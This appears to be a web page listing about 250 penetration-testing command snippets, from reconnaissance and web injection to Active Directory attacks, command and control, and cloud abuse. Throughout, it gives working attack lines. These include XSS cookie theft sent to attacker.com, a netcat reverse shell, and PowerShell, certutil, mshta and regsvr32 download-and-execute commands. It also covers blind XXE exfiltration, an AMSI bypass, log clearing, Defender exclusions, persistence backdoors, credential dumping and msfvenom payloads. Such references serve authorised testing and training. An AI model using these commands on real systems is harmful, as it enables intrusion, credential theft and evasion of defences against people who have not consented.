Nmap - Top 1000 TCP
Default scripts and service detection on common ports. ↗
nmap -sC -sV -oN nmap.txt <target> 251 curated command snippets for security professionals
Default scripts and service detection on common ports. ↗
nmap -sC -sV -oN nmap.txt <target> Full TCP sweep. ↗
nmap -p- -T4 -oN nmap-all.txt <target> Fast UDP reconnaissance.
nmap -sU --top-ports 100 -oN nmap-udp.txt <target> ProjectDiscovery port scan. ↗
naabu -host <target> -p - | tee ports.txt Web probe with status, title, and tech. ↗
cat hosts.txt | httpx -status-code -title -tech-detect -o alive.txt Discover hidden paths. ↗
ffuf -u https://<host>/FUZZ -w /path/wordlist.txt -fc 404 -o ffuf.json Fast content discovery. ↗
dirsearch -u https://<host> -e php,aspx,js -x 403,404 Enumerate archived URLs.
echo <domain> | waybackurls | tee urls.txt Collect historical URLs. ↗
echo <domain> | gau --subs | tee urls.txt Passive subdomain enumeration. ↗
amass enum -passive -d <domain> -o subs.txt Fast passive subdomain discovery. ↗
subfinder -d <domain> -all -silent | tee subs.txt Template-based vuln checks. ↗
nuclei -l urls.txt -t cves/ -o nuclei-cves.txt Identify common misconfigs. ↗
nikto -h https://<host> -ssl -o nikto.txt Identify technologies.
wappalyzer https://<host> Website fingerprinting.
whatweb https://<host> Automated SQL injection. ↗
sqlmap -u 'https://<host>/item?id=1' --batch --risk=2 --level=2 Set up interception for web testing.
# Import Burp CA into browser to intercept TLS WordPress enumeration.
wpscan --url https://<host> --enumerate u,vt,tt --api-token <token> Joomla scanner.
joomscan -u https://<host> Drupal scanner.
droopescan scan drupal -u https://<host> NTLM cracking with mask attack (8 chars). ↗
hashcat -m 1000 hashes.txt ?a?a?a?a?a?a?a?a -O --force Smart candidate generation via rules.
hashcat -m 0 hashes.txt rockyou.txt -r rules/best64.rule -O John the Ripper single crack mode.
john --single --format=NT hashes.txt Enumerate AD users via Kerberos. ↗
kerbrute userenum --dc <dc-ip> -d <domain> users.txt Request service tickets for SPNs. ↗
Rubeus kerberoast /nowrap Dump credentials from memory. ↗
privilege::debug
sekurlsa::logonpasswords Collect AD data for BloodHound. ↗
SharpHound.exe -c All LLMNR/NBT-NS/mDNS poisoning. ↗
responder -I eth0 -wrf Execute commands over SMB. ↗
psexec.py <domain>/<user>:<pass>@<target> Password spraying across SMB. ↗
cme smb <subnet> -u users.txt -p 'Winter2025!' --no-bruteforce WinRM shell access.
evil-winrm -i <ip> -u <user> -p <pass> Search modules from CLI. ↗
msfconsole -q -x 'search type:exploit name:<term>; exit' Start a payload handler.
use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST <ip>; set LPORT 4444; run Search EDB vulnerabilities. ↗
searchsploit <software> <version> Find SUID binaries for privesc.
find / -perm -4000 -type f 2>/dev/null Enumerate Linux capabilities.
getcap -r / 2>/dev/null Automated Linux privesc enumeration. ↗
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh Identify unquoted service paths.
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v '"' Windows privesc checks. ↗
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks" Enable monitor mode on wireless interface. ↗
airmon-ng start wlan0 Capture WPA handshake.
airodump-ng -c <channel> --bssid <AP_MAC> -w capture wlan0mon Crack WPA using wordlist.
aircrack-ng -w rockyou.txt -b <AP_MAC> capture*.cap Capture packets with tshark. ↗
tshark -i eth0 -w capture.pcap Packet capture with tcpdump.
tcpdump -i eth0 -w capture.pcap ARP spoofing and sniffing. ↗
bettercap -iface eth0 -eval 'set arp.spoof.targets <target>; arp.spoof on; net.sniff on' Interactive packet manipulation (Python). ↗
scapy Brute force SSH credentials. ↗
hydra -l <user> -P passwords.txt ssh://<target> Brute force web login.
hydra -l <user> -P passwords.txt <target> http-post-form '/login:username=^USER^&password=^PASS^:F=incorrect' Mark injection points in Burp Suite.
# Use Burp Intruder with §markers§ for payloads Simple XSS proof of concept.
<script>alert(document.domain)</script> Exfiltrate cookies via XSS.
<script>fetch('https://attacker.com/?c='+document.cookie)</script> Extract data via SQL injection.
' UNION SELECT null,username,password FROM users-- Trigger error messages for enumeration.
' AND 1=convert(int,(SELECT @@version))-- Access AWS instance metadata.
http://169.254.169.254/latest/meta-data/ Enumerate S3 buckets. ↗
aws s3 ls --profile <profile> Test for public S3 access.
aws s3 ls s3://<bucket> --no-sign-request List all pods in all namespaces. ↗
kubectl get pods -A Interactive shell in pod.
kubectl exec -it <pod-name> -n <namespace> -- /bin/bash Check if inside a container.
cat /proc/1/cgroup | grep docker Mount host filesystem in container.
docker run -v /:/host -it ubuntu chroot /host Enumerate Azure VMs. ↗
az vm list --output table List GCP projects. ↗
gcloud projects list AWS exploitation framework. ↗
pacu Multi-cloud security audit. ↗
scout aws --profile <profile> Identify memory profile. ↗
volatility -f memory.dmp imageinfo List running processes from memory.
volatility -f memory.dmp --profile=<profile> pslist Launch Autopsy GUI for disk analysis. ↗
autopsy Create bit-by-bit disk images.
# Use FTK Imager GUI to create forensic images Create raw disk image.
dd if=/dev/sda of=disk.img bs=4M status=progress Extract embedded files from firmware. ↗
binwalk -e firmware.bin Find printable strings in binary.
strings -n 10 binary | less Trace library calls.
ltrace ./binary Trace system calls.
strace ./binary Static analysis with Ghidra. ↗
# Import binary into Ghidra and analyze Disassemble and analyze binary. ↗
r2 -A binary Disassemble with objdump.
objdump -d -M intel binary List connected Android devices. ↗
adb devices Extract APK from device.
adb pull /data/app/<package>/base.apk Decompile APK resources. ↗
apktool d app.apk Trace Android method calls. ↗
frida-trace -U -i '*decrypt*' <package> Runtime instrumentation for iOS.
objection -g <app> explore Forward remote port to local.
ssh -L 8080:localhost:80 user@remote Create SOCKS proxy via SSH.
ssh -D 9050 user@remote Reverse port forwarding. ↗
chisel server -p 8080 --reverse Relay traffic between ports.
socat TCP-LISTEN:8080,fork TCP:<target>:80 Route tools through SOCKS proxy.
proxychains nmap -sT <target> Modern tunneling for pivoting. ↗
ligolo-ng -selfcert Start Empire C2 listener. ↗
uselistener http Create agent for Covenant C2. ↗
# Generate Grunt payload in Covenant UI Launch Gophish phishing framework. ↗
gophish Social Engineering Toolkit. ↗
setoolkit MitM phishing with 2FA bypass. ↗
evilginx2 -p phishlets/ Exfiltrate data via DNS.
curl http://$(whoami).attacker.com Netcat reverse shell.
nc -e /bin/bash attacker.com 4444 Download and execute PowerShell.
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')" Download using certutil.
certutil -urlcache -f http://attacker.com/file.exe file.exe Background download on Windows.
bitsadmin /transfer job http://attacker.com/file.exe C:\temp\file.exe Execute HTA payload.
mshta http://attacker.com/payload.hta Execute scriptlet via regsvr32.
regsvr32 /u /n /s /i:http://attacker.com/file.sct scrobj.dll Add cron job for persistence.
(crontab -l; echo '@reboot /path/to/backdoor') | crontab - Linux persistence via systemd.
# Create service file in /etc/systemd/system/ Windows persistence via registry.
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" Windows persistence via task.
schtasks /create /tn "Update" /tr "C:\backdoor.exe" /sc onlogon Persistence via WMI.
# Use wmic or PowerShell to create WMI event subscription Extract stored credentials. ↗
laZagne.exe all Dump hashes remotely.
secretsdump.py <domain>/<user>:<pass>@<target> Remote command execution.
psexec.py <domain>/<user>:<pass>@<target> cmd.exe Execute via WMI.
wmiexec.py <domain>/<user>:<pass>@<target> Execute via SMB.
smbexec.py <domain>/<user>:<pass>@<target> Enumerate domain users.
rpcclient -U '' -N <target> -c 'enumdomusers' Comprehensive SMB enumeration. ↗
enum4linux -a <target> List SMB shares.
smbclient -L //<target> -N Enumerate SMB share permissions. ↗
smbmap -H <target> Analyze AD attack paths. ↗
# Import SharpHound JSON into BloodHound High-speed port scanner. ↗
masscan -p80,443 0.0.0.0/0 --rate 10000 Search Shodan from CLI. ↗
shodan search 'product:apache' Gather emails and subdomains. ↗
theHarvester -d <domain> -b all OSINT reconnaissance framework. ↗
recon-ng -w <workspace> Automated OSINT collection. ↗
spiderfoot -s <target> Comprehensive DNS enumeration.
dnsrecon -d <domain> -t axfr,brt,srv,std DNS reconnaissance and brute force.
fierce --domain <domain> Attempt zone transfer.
dig axfr @<nameserver> <domain> Reverse DNS lookup.
nslookup <ip> Query domain registration info.
whois <domain> Anonymous LDAP enumeration.
ldapsearch -x -H ldap://<target> -b 'dc=domain,dc=com' Dump AD via LDAP. ↗
ldapdomaindump -u '<domain>\<user>' -p <pass> <dc-ip> Offline AD browsing.
# Create AD snapshot in ADExplorer GUI Enumerate AD users. ↗
powershell -c "Import-Module .\PowerView.ps1; Get-DomainUser" Find accessible shares.
powershell -c "Import-Module .\PowerView.ps1; Invoke-ShareFinder" Kerberoast attack.
powershell -c "Import-Module .\PowerView.ps1; Invoke-Kerberoast -OutputFormat Hashcat" AS-REP roasting for users without preauth. ↗
GetNPUsers.py <domain>/ -usersfile users.txt -dc-ip <dc-ip> Abuse constrained delegation.
getST.py -spn <service>/<host> -impersonate Administrator <domain>/<user>:<pass> Advanced AD persistence.
# Use mimikatz DCShadow to register rogue DC Relay NTLM auth to targets. ↗
ntlmrelayx.py -tf targets.txt -smb2support Coerce authentication from target. ↗
coercer -u <user> -p <pass> -d <domain> -t <target> -l <listener> EFSRPC coercion. ↗
PetitPotam.py <listener> <target> Printer bug coercion.
printerbug.py <domain>/<user>:<pass>@<target> <listener> Find vulnerable AD CS templates. ↗
certipy find -u <user>@<domain> -p <pass> -dc-ip <dc-ip> -vulnerable Enumerate AD CS vulnerabilities. ↗
Certify.exe find /vulnerable Automated command injection. ↗
commix --url='http://<target>/page?param=1' NoSQL injection testing. ↗
nosqlmap -t http://<target> -p param XXE exploitation. ↗
xxeinjector --host=<target> --path=/ --file=xml.xml --oob=http --phpfilter Server-side template injection. ↗
tplmap -u 'http://<target>?name=*' HTTP parameter discovery. ↗
arjun -u https://<target> Mine parameters from archives. ↗
paramspider -d <domain> Fast XSS scanner. ↗
dalfox url https://<target>?param=test Advanced XSS detection. ↗
xsstrike -u 'http://<target>?param=1' Test JWT security. ↗
jwt_tool <token> Query GraphQL schema.
curl -X POST https://<target>/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{types{name}}}"}' API development and testing.
# Use Postman for API testing Discover API documentation.
# Access /swagger or /api-docs endpoint Test CORS configuration.
curl -H "Origin: https://evil.com" https://<target> -I CSRF proof of concept.
<form action="https://<target>/action" method="POST"><input type="hidden" name="param" value="value"/></form><script>document.forms[0].submit()</script> Clickjacking test.
<iframe src="https://<target>" style="opacity:0.1;position:absolute;top:0;left:0;width:100%;height:100%"></iframe> SSRF localhost bypass techniques.
http://127.0.0.1/ or http://[::1]/ or http://localhost.attacker.com Local file inclusion test.
../../../etc/passwd Extract PHP source via filter.
php://filter/convert.base64-encode/resource=index.php Remote file inclusion.
http://attacker.com/shell.txt Bypass upload filters.
shell.php.jpg or shell.phtml or .htaccess tricks Bypass content-type validation.
# Create file valid as multiple types (JPEG + PHP) PHP object injection.
O:8:"stdClass":1:{s:4:"test";s:4:"pwnd";} Generate Java gadget chains. ↗
java -jar ysoserial.jar CommonsCollections5 'calc' LDAP injection payload.
*)(&(password=*) or *)(cn=* XML entity expansion DoS.
<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;">]><lolz>&lol2;</lolz> Encode payload in base64.
echo -n 'payload' | base64 Decode base64.
echo 'cGF5bG9hZA==' | base64 -d URL encoding for bypass.
# Use %20 for space, %3C for <, etc. Unicode encoding bypass.
# Use \u0061 for 'a', etc. HTML entity encoding.
<script> for <script> Execute encoded PowerShell.
powershell -enc <base64> Download and execute.
powershell -c "IEX(IWR http://attacker.com/s -UseBasicParsing)" Bypass AMSI in memory.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) Obfuscate PowerShell scripts. ↗
# Use Invoke-Obfuscation.ps1 to obfuscate scripts Generate position-independent shellcode. ↗
donut -f <exe> -o shellcode.bin Generate AV-evading payloads. ↗
veil Inject shellcode into PE. ↗
shellter Generate Metasploit payload. ↗
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o payload.exe Encode payload to evade signatures.
msfvenom -p <payload> -e x86/shikata_ga_nai -i 10 Create CS agent.
# Generate Cobalt Strike beacon Generate Sliver implant. ↗
generate --http <domain> --save /tmp/implant Simple C2 redirector.
socat TCP4-LISTEN:80,fork TCP4:<c2-server>:80 Evade detection via domain fronting.
# Use CDN domain with Host header to real C2 Tunnel over DNS. ↗
dnscat2-server <domain> Tunnel over ICMP.
ptunnel -p <proxy> -lp <lport> -da <dest> -dp <dport> Customize beacon traffic.
# Use Cobalt Strike malleable C2 profiles Evade detection using system tools. ↗
# Use built-in Windows binaries for execution Clear PowerShell logs.
[Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog('Microsoft-Windows-PowerShell/Operational') Add Defender exclusion.
Add-MpPreference -ExclusionPath "C:\payload" Bypass AppLocker.
regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll Classic process injection.
# Use Windows API CreateRemoteThread Process hollowing technique.
# Create suspended process, unmap, write payload, resume Reflective DLL loading. ↗
# Load DLL from memory without disk APC queue injection.
# Queue APC to thread for execution Hijack existing thread.
# Suspend thread, set context, resume Manual PE mapping.
# Manually map PE sections into memory Spoof parent process ID.
# Use UpdateProcThreadAttribute to spoof parent Impersonate user token.
# Use ImpersonateLoggedOnUser API Duplicate access token.
# Duplicate token with DuplicateTokenEx Enable debug privilege.
# Enable SeDebugPrivilege for process access Extract credentials from lsass.
# Dump lsass.exe memory for credentials Dump SAM and SYSTEM hives.
reg save HKLM\SAM sam.hive && reg save HKLM\SYSTEM system.hive Decrypt DPAPI protected data.
# Extract DPAPI master keys Extract browser credentials. ↗
SharpWeb.exe List Windows Vault credentials.
VaultCmd.exe /list Escape privileged Docker container.
# Mount host filesystem in privileged container Access host filesystem.
docker run -v /:/hostfs -it alpine chroot /hostfs Escalate via K8s service account.
# Use service account token for API access Access host filesystem from pod.
# Mount host paths in pod spec Shell into running pod.
kubectl exec -it <pod> -- /bin/bash Abuse Linux capabilities.
# Use CAP_SYS_ADMIN for escape Extract AWS credentials via SSRF.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ Query Azure metadata.
curl -H Metadata:true 'http://169.254.169.254/metadata/instance?api-version=2021-02-01' Query GCP metadata.
curl 'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true' -H 'Metadata-Flavor: Google' List public S3 bucket.
aws s3 ls s3://<bucket> --no-sign-request Find secrets in Git history. ↗
trufflehog git https://github.com/org/repo Detect secrets in Git repos. ↗
gitleaks detect --source . -v GitHub dork for secrets.
# Search: org:target password OR token Find .env files with secrets.
find / -name ".env" 2>/dev/null Extract secrets from Terraform state.
# Check terraform.tfstate for secrets Decrypt Ansible Vault.
ansible-vault decrypt vault.yml Extract Jenkins credentials.
# Access /script console or credentials store Find secrets in GitLab CI config.
# Check .gitlab-ci.yml for hardcoded secrets Check GitHub Actions for secrets.
# Review workflow files for secrets Compromise CI/CD pipeline.
# Inject malicious steps into CI pipeline Dependency confusion attack.
# Upload malicious package to public repo with same name Typosquatting attack.
# Register typo of popular package Publish malicious PyPI package.
# Upload malicious Python package Bypass API rate limits.
# Use multiple IPs or tokens Exploit mass assignment.
# POST {"isAdmin": true} Insecure Direct Object Reference.
# Change /api/user/123 to /api/user/124 GraphQL batching abuse.
# Send batched queries to bypass rate limits Web cache poisoning.
# Inject malicious header: X-Forwarded-Host: evil.com Exploit unkeyed headers.
# Find unkeyed headers affecting response CL.TE request smuggling.
# Content-Length vs Transfer-Encoding TE.CL request smuggling.
# Transfer-Encoding vs Content-Length HTTP/2 downgrade smuggling.
# Downgrade to HTTP/1.1 with smuggling WebSocket CSRF.
# CSRF on WebSocket handshake WebSocket message injection.
# Inject malicious messages: {"cmd":"admin"} JavaScript prototype pollution.
__proto__.isAdmin = true Exploit via JSON payload.
{"__proto__":{"isAdmin":true}} Server-side prototype pollution.
# Pollute global object on Node.js server Race condition exploit.
# Time-of-check to time-of-use exploit Automated race condition.
# Use single-packet attack in Intruder Abuse discount codes.
# Apply coupon multiple times Negative quantity exploit.
# POST {"qty": -1} Blind SSRF detection.
# Trigger DNS/HTTP request to attacker Combine XXE + SSRF for cloud metadata.
# XXE payload to fetch cloud metadata XXE to read local files.
<!ENTITY xxe SYSTEM "file:///etc/passwd"> Blind XXE with OOB.
<!ENTITY % xxe SYSTEM "http://attacker.com/?data=%file;"> Server-Side Template Injection (Jinja2).
{{config.items()}} Twig SSTI RCE.
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}